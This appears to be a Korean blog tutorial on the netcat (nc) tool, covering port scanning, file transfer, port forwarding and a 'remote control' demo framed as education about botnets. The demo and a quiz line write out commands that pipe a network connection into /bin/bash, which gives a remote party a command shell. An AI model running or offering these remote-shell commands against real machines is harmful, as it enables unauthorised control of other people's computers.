본문 바로가기
리눅스/원격제어

리눅스 넷켓 강력한 네트워크 제어! 소름 돋는 통신 기술 대공개(1편)

by 혼자왔서연 2023. 8. 2.
반응형

1. 넷캣(nc)이란?

넷캣(nc)은 리눅스에서 자주 사용되는 간단하면서도 강력한 명령어입니다. 이를 이용하면 TCP/IP 프로토콜을 통해 데이터를 주고받을 수 있으며, 네트워크 간 통신을 더욱 효율적으로 관리할 수 있습니다. 

2. 넷캣(nc)의 활용

2.1. 포트 스캔

넷캣은 특정 포트로 연결을 시도하여 서버의 응답을 확인하는데 사용될 수 있습니다. 예를 들어, 다음과 같이 명령어를 실행하여 원하는 서버의 특정 포트가 열려 있는지 확인할 수 있습니다.

여기서 hostname과 port는 확인하려는 서버의 호스트명과 포트 번호로 대체되어야 합니다.

 

현재 열려있는 포트번호를 알아내는 명령어입니다 

ss -tuln

스캔당할 컴퓨터의 ss -tuln 결과

nc -vz 다른pc의 ip 다른pc의 열린포트

포트스캔 결과

주의사항 인가받지 않는 타인의 pc의 서버,pc 의 포트를 스캔하는 행위는 범죄행위로 간주되어집니다 

2.2. 파일 전송

넷캣은 파일을 네트워크를 통해 다른 컴퓨터로 전송하는데에도 사용됩니다. 예를 들어, 다음과 같이 명령어를 사용하여 파일을 전송할 수 있습니다.

 


파일을 받을 pc 에서 실행하는 코드 

nc -l -p 5959 > received_txt

nc -lvp 열려는 포트번호 > 저장할이름.확장자명

nc -w 3 파일받을아이피주소 파일받을아이피에서연포트 < 자신에현재 디렉토리에있는파일이면 이름만 적어도 전송 가능

 

원격지로 파일을 보내는 명령어

-w 의 기능 타임아웃 초단위로 계산  nc -w 3 은 3초동안만 신호를 보내겠다! 3초안에 받지않으면 안보낼거야! 

2.3. 포트 포워딩

포트 포워딩은 넷캣을 이용하여 트래픽을 다른 포트나 서버로 전달하는 방법입니다. 이는 서버의 로컬 포트로 들어온 요청을 다른 서버로 전달하여 서비스를 제공하는데에 유용합니다.

 

 

nc -l -p 2200 | nc 192.168.219.102 5631

  나에게 포트 2200 번으로 신호를 보낼경우 파이프라인으로 처리후 데이터값을  다음 아이피로 신호를 보내겠다! 

 

만약 여기서 192.168.219.102 가 .. 아래 명령어를 실행한다면 ?... 결과를 예측해보세요!

nc -lvp 5631 | /bin/bash

2.4. 원격 제어 : 넷켓의 무서운 힘 

 봇넷, 백도어, 시스템 해킹, 정보 탈취, 좀비 PC 등 다양한 악의적인 용도로 사용될수있는 무서운 도구입니다. 예를 들어, 주방에서 사용하는 고기 집게를 다용도로 사용 할수있는 것처럼, 넷켓도 귀에 걸면 귀걸이, 코에 걸면 코걸이가 되는 아주 무서운 도구가 될수있습니다 

이렇듯 넷캣은 원격 제어 기능을 강력하게 지원하여 악용될 가능성이 있으며, 이로 인한 보안 위협에 주의해야 합니다. 합법적인 용도로 사용하는 경우에도 신중함과 책임감을 가지고 사용해야 합니다. 원격 제어의 힘을 이해하고 적절히 활용하는 것이 중요합니다

 

#원격 제어  부분 내용이 길어졌네요! 빠른 시일내에 이를 이용한 봇넷의 원리와 봇넷 이해를 위한 실습활동을 진행해보려구 시나리오를 구상했거든요! ( 어디까지나 교육용입니다 ^.^;;)

 


MASTER PC - 조종석에 앉게 될 컴퓨터에서 실행할 명령어 

nc -lvp 5500

slave PC - 조종당할 컴퓨터에서 실행할 명령어

 

nc 마스터pc에아이피 5500 | /bin/bash

 파이프라인을 이해하신다면 이게 어떻게 작동되는지 쉽게 이해하실수있을겁니다!


결과물

마스터 pc에서 ls 타이핑
슬레이브pc 의 결과물


3. 넷캣(nc)의 간편함과 활용성

위에서 살펴보았듯이 ! 넷캣은 간단한 구문과 높은 활용성으로 인해 네트워크 관리자들 사이에서 매우 인기 있는 명령어입니다. 특히 서버 관리, 보안, 파일 전송 등 다양한 분야에서 넷캣을 활용하여 작업을 수행할 수 있습니다.

넷캣은 사용하기 쉽고 강력한 기능을 제공하여 네트워크 관리에 큰 도움을 주는데, 이러한 이점으로 많은 사용자들이 넷캣을 선호하고 있습니다.

4. 결론

넷캣(nc)은 리눅스에서 매우 유용한 명령어 중 하나로, 네트워크 관리를 보다 효율적으로 할 수 있도록 도와줍니다. 포트 스캔, 파일 전송, 포트 포워딩 등 다양한 기능을 제공하여 다양한 상황에서 활용할 수 있습니다.

리눅스를 사용하는 사용자라면 넷캣을 익혀두면 향후 네트워크 관리와 통신에 많은 도움이 될 것입니다. 넷캣의 기능을 활용하여 보다 안전하고 효율적인 네트워크 환경을 구축해 보세요.

이상으로 넷캣 활용법에 대한 소개였습니다. 앞으로 더 다양한 리눅스 관련 팁과 정보를 제공할 예정이니 많은 관심 부탁드립니다. 감사합니다!

반응형

Animated Rainbow Nyan Cat